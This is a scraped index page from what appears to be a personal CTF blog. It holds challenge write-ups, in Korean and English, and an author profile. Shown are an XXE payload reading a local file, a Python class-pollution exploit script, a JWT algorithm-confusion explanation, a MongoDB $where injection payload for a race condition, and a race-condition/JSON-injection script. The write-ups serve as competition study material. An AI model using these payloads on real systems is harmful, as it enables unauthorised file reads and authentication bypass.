Home on whguswo

CCE 2025 광명국제공항 write-up

Wed, 17 Sep 2025 00:00:00 +0900

Information

CCE 2025 본선에 출제했던 광명국제공항 문제에 대한 출제자 write-up입니다.

Write-up

해당 문제는 공항 예약 서버와 불편사항 접수 서버가 각각 3000번 포트와 5000번 포트에서 실행중입니다.
먼저 reservation 서버의 기능을 살펴보면 항공권 예약 기능이 존재합니다.

// routes/reservation.js
const uploadDir = path.join(__dirname, '..', 'uploads');
if (!fs.existsSync(uploadDir)) fs.mkdirSync(uploadDir);

const storage = multer.diskStorage({
 destination: function (req, file, cb) {
 cb(null, uploadDir);
 },
 filename: function (req, file, cb) {
 const raw = Date.now() + '-' + Math.round(Math.random() * 1e6);
 const hash = crypto.createHash('sha256').update(raw).digest('hex');
 const ext = path.extname(file.originalname);

 cb(null, hash + ext);
 }
});
const disallowedExtensions = new Set(['.js', '.mjs', '.cjs']);
const upload = multer({
 storage,
 fileFilter: function (req, file, cb) {
 const ext = path.extname(file.originalname).toLowerCase();
 if (disallowedExtensions.has(ext)) {
 return cb(null, false);
 }
 cb(null, true);
 }
});
(...)
router.post('/create', ensureAuth, upload.array('documents'), async (req, res) => {
 const { flightId, passengers } = req.body;

 if (!mongoose.isValidObjectId(flightId)) {
 return res.redirect('/reservation/create?error=invalidFlightId');
 }

 const flight = await Flight.findById(flightId);
 if (!flight) {
 return res.redirect('/reservation/create?error=flightNotFound');
 }

 const numPassengers = Number(passengers);
 if (!Number.isFinite(numPassengers) || numPassengers < 1) {
 return res.redirect('/reservation/create?error=invalidPassengers');
 }

 const documentPaths = Array.isArray(req.files)
 ? req.files.map(f => path.join('uploads', f.filename))
 : [];
 await Reservation.create({
 userId: req.session.userId,
 flightId,
 passengers: numPassengers,
 documents: documentPaths
 });
 res.redirect('/reservation');
});

항공편의 ID를 검증한 뒤에 항공권을 예약합니다.
이때 사용자는 파일을 업로드할 수 있고, 업로드하는 파일에는 제약이 없습니다.
또한 파일명은 (hash).ext 형삭으로 저장되며 해당 파일명은 예약 조회 페이지에서 확인할 수 있습니다.

DeadSec CTF 2024 Review

Mon, 29 Jul 2024 00:00:00 +0900

Information

Participated with DeadSec CTF 2024 Challenge Author

Comment

Hello!, This is Little stranger, who participated DeadSec CTF as a web challenge author of Colorful board.
Thank you to everyone who enjoyed and praised the challenge, even though it was hastily created.
Next year, I will repay you with better quality challenges.

Write up

web/Colorful Board

Desc

First Flag is Admin’s username, Second Flag is Hidden Notice content.

Code Review

You can register with username, password, personalColor.
You can inject css with personalColor. But you can’t xss because of xss sanitizer.

DownUnderCTF 2024

Tue, 16 Jul 2024 00:00:00 +0900

Information

Team: DeadSec

Write up

web/zoo feedback form

Desc

Simple xxe injection prob,
Inject exploit ( XML )

Exploit

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///app/flag.txt">
]>
<root>
 <feedback>&xxe;</feedback>
</root>

web/co2

Desc

Python Class Pollution with improper merge function. ( Similar with Prototype Pollution )

# Vulenrable function
def merge(src, dst):
 for k, v in src.items():
 if hasattr(dst, '__getitem__'):
 if dst.get(k) and type(v) == dict:
 merge(v, dst.get(k))
 else:
 dst[k] = v
 elif hasattr(dst, k) and type(v) == dict:
 merge(v, getattr(dst, k))
 else:
 setattr(dst, k, v)

Exploit

import requests

url = "https://web-co2-b55776733224c2b7.2024.ductf.dev"

s = requests.session()
payload = {"title": "asdf","content": "asdf", "rating": 4, "referred": "asdf",'__class__':{'__init__':{'__globals__':{'flag':'true'}}}}

# login
s.post(f"{url}/login", data={"username": "whguswo", "password": "whguswo"})

# exploit
res = s.post(f"{url}/save_feedback", json=payload)
print(res.text)

web/i am confusion

Desc

JWT confusion Attack And Re-sign your JWT
Portswigger - JWT Confusion

JWT Confusion

Sun, 14 Jul 2024 00:00:00 +0900

Refer

Portswigger Document
JWT vulnerability🩸

Info

This Problem is JWT confusion.

RS256 uses an asymmetric key, a private key for generation, and a public key for verification.

HS256 uses public keys for both token creation and verification. By using the difference between the two, authentication can be bypassed by extracting the public key of RS256 and creating a token with HS256 when verifying both methods.

Key extract : https://github.com/silentsignal/rsa_sign2n/tree/release/standalone

Exploit

After Extract key, you can sign JWT as You Want.

MongoDB Race Condition payload

Tue, 30 Jan 2024 00:00:00 +0900

Information

Target: MongoDB
Vulnerability: Race Condition

Desc

MongoDB Race Condition Attack with db lock.

Example

Code

// admin.controller.ts
@Post('list')
async getFlagList(@Body() listDto: ListDto): Promise<FlagDocument[]> {
	return await this.adminService.getFlagList(listDto.username);
}

Exploit

import threading
import json

# Logic Vulnerability - Database Lock
def lock():
 res = requests.post(f"{url}/admin/list", headers=auth,
 json={"username": '''admin", "$or": [{"dummy": "dummy"},{"$where": "date=new Date();do{cur=new Date();}while(cur-date<5000) + 1 || true"}], "":"'''})
 print(res.text)

threads = []
for i in range(10):
 thread = threading.Thread(target=lock)
 threads.append(thread)
 thread.start()

It takes a long time to count the number of existing documents in the DB, so logic such as number restrictions can be bypassed.

Whitehat Contest 2023

Mon, 30 Oct 2023 00:00:00 +0900

Information

Team name: YouAreMyUniverse
Rank: 3rd place

Write up

web/atten-dance

Desc

Get first flag with race condition attack,
Get second flag with sql injection ( Json injection )

Exploit

import requests
import threading
import time

url = 'http://13.209.18.49:3000'

# Flag 1

requests.get(f"{url}/join", params={"username": "dummy"})
time.sleep(1)

def worker(thread_num):
 requests.get(f"{url}/check", params={"username": "dummy"})

threads = []

for i in range(100):
 thread = threading.Thread(target=worker, args=(i,))
 threads.append(thread)
 thread.start()

res = requests.get(f"{url}/claim", params={"username": "dummy"})
print(res.text)

# Flag2

res = requests.post(f"{url}/del", json={"username": {"contains": "a"}})
print(res.text)

web/oshinolist

Desc

XSS with eval

About

Mon, 01 Jan 0001 00:00:00 +0000

whguswo (a.k.a. Little Stranger)

Work Experience

Researcher - ENKI WhiteHat (2024.11 – 2026.03)

Specialty

Web Dev & Hacking

Teams

2022 - 2024 Trust (KDMHS)
2024 - 2025 DeadSec

Achievement

Hacking

2nd, WACON 2022
Finalist, CCE 2023
Finalist, WACON 2023
3rd, WhiteHat Contest 2023
13th, SECCON CTF 13 Quals (Team: Odin)
3rd, LINE CTF 2025 Quals (Team: Odin)

Dev

Finalist, Junction Asia 2023

Authored CTF

DIMI CTF 2023
Dreamhack X-mas CTF 2023
DeadSec CTF 2024
CODEGATE 2025 Final
HACKSIUM BUSAN 2025
Cyber Conflict Exercise 2025
WhiteHat Contest 2025